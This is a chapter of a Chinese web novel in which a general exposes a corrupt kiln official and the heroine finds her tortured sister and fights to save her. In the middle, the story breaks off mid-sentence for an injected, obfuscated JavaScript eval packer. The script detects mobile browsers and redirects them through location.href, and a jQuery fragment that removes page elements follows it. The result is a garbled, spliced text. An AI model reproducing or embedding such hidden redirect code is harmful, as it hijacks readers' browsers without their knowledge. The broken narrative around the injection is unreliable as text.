40. 用刑
作品:《小奴隶靠制瓷逆天改命》 赫连喻冷哼一声,跨过陶厂的大门。
侍卫心慌的很,又紧忙追了过去,“将军,您真不能过去!”
而赫连喻根本不理会,径直向前走。
祝卿好看到这一幕,快步跟上,车夫也很快将李慎从后方的马车拽了出来。
赫连喻突然脚步一顿,转身对祝卿好道:“你来带路。”
祝卿好点了点头,带着他径直奔向惩戒室。
还未走几步,碰到听到动静迎出来的陶显亦。
他看见赫连喻和祝卿好站在一起,明显一愣,随即露出攀附的笑容来,“赫连将军,这什么风把您给吹来了。”
赫连喻眉头挑起,一双幽寒的眸子眯了眯,“陶大人这么久才出来,也太不把我放在眼里了吧!”
陶显亦一边擦汗,一边道:“将军大驾光临,陶厂荣幸至极,招待不周是陶某的错,请将军莫要见怪。”
赫连喻没再说话,陶显亦皱眉冲祝卿好摆手道:“你这死丫头,是不是一大早冲撞了将军,还不赶紧滚回去,瞎转悠什么。”
陶显亦换上一副凶狠的面孔,说着就要伸手去拽祝卿好,好好教训一顿。
那手刚伸到一半就被赫连喻抓住,他暗中用力,疼得陶显亦连声求饶。
“哎呦,将军,疼……您这是……”
赫连喻眼下看他极度不快,手一翻转,再一挥,就将陶显亦推出去二里地。
“当朝公主也是你配教训的?”
赫连喻的声音不怒自威,让陶显亦爬起的动作顿时僵住。
他上上下下打量祝卿好,强撑着嘴角僵硬的笑道:“这……陶某不明,公主是……”
话未说完,赫连喻一个凌冽的眼神扫射过来,吓得陶显亦立马闭嘴,不敢多言。
赫连喻缓步走到陶显亦面前,垂眸俯视着他,“你再好好看看,你当真不认识她?”
陶显亦再一次细细打量祝卿好,额头上渗出细密的汗珠。
这不就是那祝卿安的姐姐,陶显亦实在想不明白。
“将军这话说的,陶某实在不明所以……”
“不明所以?”赫连喻冷笑一声,“满城张贴的寻人告示,你说你不知道她是谁?”
四周一片寂静,唯有几声鸟叫提醒着这令人窒息的压抑还未过去。
赫连喻的语气越发加重,恨不得要将陶显亦生吞活剥了去。
“皇帝皇后寻了整整八年的女儿,被你困在陶厂整整八年。”
“陶显亦,你真该死啊!”
赫连喻低沉暗哑的声音中似乎禁锢着一头野兽,让陶显亦顿时浮现起被撕咬的恐惧感。
他脸色瞬间变得惨白,双腿一软,竟直接跪在了地上,解释道:“这……寻人的告示贴了好多年,早就没人去看了,那画像上又是公主小时候,长得不像,再加上公主一直用头发掩去了脸上的雀斑,陶某这才一时疏忽,未曾察觉。”
“公主……陶某……陶某真的不知道啊!”
陶显亦顿时磕头如捣蒜,声音颤抖得不成样子。
他对寻人的告示确实有些印象,也记得贴了好些年了,不过百姓心知肚明,举国寻的人,找个几个月找不到,大抵是已经死了。
过了那阵热潮,也就不再有人上心。
再加上那段时间,祝卿好已经进了陶厂数月,陶显亦心中早就不记得这号人物,哪里想得到,人居然阴差阳错进了陶厂为奴做工。
赫连喻没让磕头的陶显亦停下,他很快将话题转移到另一件事上。
“解释的好啊,那假账的事情,你又如何解释?”
陶显亦猛地抬头,眼神中闪过一丝慌乱,仍旧强辩道:“回将军,祝卿安已经审讯过了,她……她招供了。”
祝卿好急忙上前,揭露他阴谋下的嘴脸,“你胡说,认罪分明是你用刑逼供,逼出来的。”
“你敢不敢进惩戒室,我们一同对峙。”
陶显亦手指攥紧衣袖,指甲几乎要被嵌进肉里。
进惩戒室,不妥。
当面对峙,更加不妥。
赫连喻和祝卿好怎么会这时候找上门来,他假账的事,还有……都瞒不住了吗?
赫连喻眼神一凛,厉声喝道:“李慎何在?”
李慎整理好自己的乌纱帽,紧步赶上来。
“将军,泸州县令李慎,在。”
“城内私设公堂,触犯了天衡哪条律法。”
李慎瞬间清醒过来,他看了看赫连喻,又看了看跪在地上的陶显亦,心中已经明白了事情的严重性。
只是还等他开口,赫连喻再次喝道:“先把人带下去,过后审理。”
李慎朝着赫连喻躬身,说道:“下官一定秉公办理。”
李慎押下陶显亦,领命而去,脚步声也逐渐远去。
祝卿好好似还思绪飘忽着,看着赫连喻一顿气势磅礴的输出,还没等反应过来,陶显亦就被押了下去。
原来……权势竟这样的好用。
赫连喻正转过身来看她,祝卿好很快反应过来,走到前方去,寻到惩戒室的路。
惩戒室里。
祝卿安被绑在一根粗大的木柱上,双手反剪。
下一秒,一桶冰水被人一股气的泼向祝卿安,水珠飞溅,还有一只手都握不住的冰块从水桶中飞跃而出,正中祝卿安眉心。
额头顿时肿了起来,传来的刺痛让祝卿安低声呜咽着。
而面前还有一个冰冷的男人声在回荡,“问你最后一次,账本藏到哪里去了?”
其实祝卿安早就听不清他问什么了,在两天两夜连续的冷水冲击下,让她唇色发紫,牙齿发颤,身体僵硬得动弹不得。
只有仅剩下的求生意志在告诉祝卿安,不能睡,睡了恐怕就醒不过来了。
她强迫自己在心中数秒,一分钟又一分钟,一个时辰又一个时辰……
可她还是觉得这五天好慢好慢,慢到有一整年那么长。
“我不知道……你说的……是陶厂哪个账本?”祝卿安的声音越来越弱,几乎让人听不见。
男人冷哼一声,命人又抬来一桶冰水,正要继续审讯,突然牢房外传来一阵急促的脚步声。
沉重的大门‘砰’的一声撞上石墙,祝卿好一眼就看见被绑在木柱上的祝卿安,浑身湿透,身体颤抖,甚至莹白如玉的肌肤上还有肉眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078325|163426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可见的青紫鞭痕。
祝卿好霎时间红了眼睛,她竟没办法从祝卿安身上看出半分生气。
“小安……”
“小安,姐姐来了,姐姐来救你了……”
祝卿好双手抚上她的脸颊,看着怎么摇晃都毫无反应的祝卿安,泪水如决堤般奔涌而出。
赫连喻紧随其后,一股刺鼻的寒气扑面而来,混合着血腥气和腐败的发霉味道,还有坐落于旁边灶台‘刺拉拉’的烙铁,让他下意识屏住呼吸。
这些场面对他来说并不陌生,都是战场上用来对付敌军或者叛变的将士,他有些想不明白,对一个手无缚鸡之力的弱女子,何至于此。
赫连喻下意识皱紧眉头,厉声呵斥审讯的男人,“谁允许你私下用刑的?”
男人见来了这么多人,又见架子这么足,心下暗道不好,他一边被人拖拽下去,一边解释道:“属下是奉命行事,我冤枉啊!”
祝卿好慌乱中解开绑住祝卿安的绳子,将她放倒在地,揽在怀里,她身上由内而外散发的寒意让祝卿好瞬间打了个激灵。
好在祝卿好的体温让祝卿安稍稍回过神来,她有力无气地低喃道:“阿姐……是你吗?”
祝卿好一边流泪,一边点头,“阿姐来了,你听话,阿姐来了。”
赫连喻紧忙走至祝卿好身边去,他伸出手探了下祝卿安的脉搏,非常薄弱,但还在人还活着。
赫连喻立马吩咐道:“把她抬到就近的厢房,让厂外候着的大夫进来救人。”
祝卿好一路上心神不宁的跟着,看着大夫诊脉后的脸色越发凝重,更是一颗心坠入谷底。
她只能紧紧握着祝卿安的手,感受着仅剩凉意的指尖,快要崩溃了。
大夫看着几个人的脸色,措辞许久后摇头叹气,“这姑娘……都冻僵了,经脉尽断,已命悬一线,还是……”
大夫点到为止,算是宣判了死刑。
祝卿好闻言,死死抓住大夫的衣袖,绝望的摇头道:“不行……小安还不到十六,您再想想办法好不好?”
“您帮她针灸,给她开药,都拿出来试一试啊!”
“这……”大夫左看看祝卿好,又看看赫连喻。
被泣不成声的祝卿好求得没有办法,只能一咬牙,死马当活马医。
“这样……你们去把陶厂里的热水袋、暖炉之类的,都拿来放她身边,帮她取暖,我来为她布针。”
大夫话音一落,赫连喻立刻出门分下了任务,芙蓉斋那边顿时传来热水沸腾的声响,还有木柴燃烧的噼啪声。
一个个热水袋被送入厢房,祝卿安身旁各个位置都放置一个。
赫连喻从门外往里看,祝卿好正坐在床边,揉搓着祝卿安的手帮她取暖,嘴中絮絮叨叨着曾经过往。
那些年少趣事不知道被祝卿安听见了没,反正诉说者是听进去了,说着说着就传来低声啜泣的声音。
赫连喻关紧门,将侯在一旁的车夫叫了过来,问道:“找到沈方寻的位置了吗?”
车夫拱手回道:“回将军,被困在香瓷阁一侧的密室里,正寻人去救了。”
赫连喻点点头,“一同去看看。”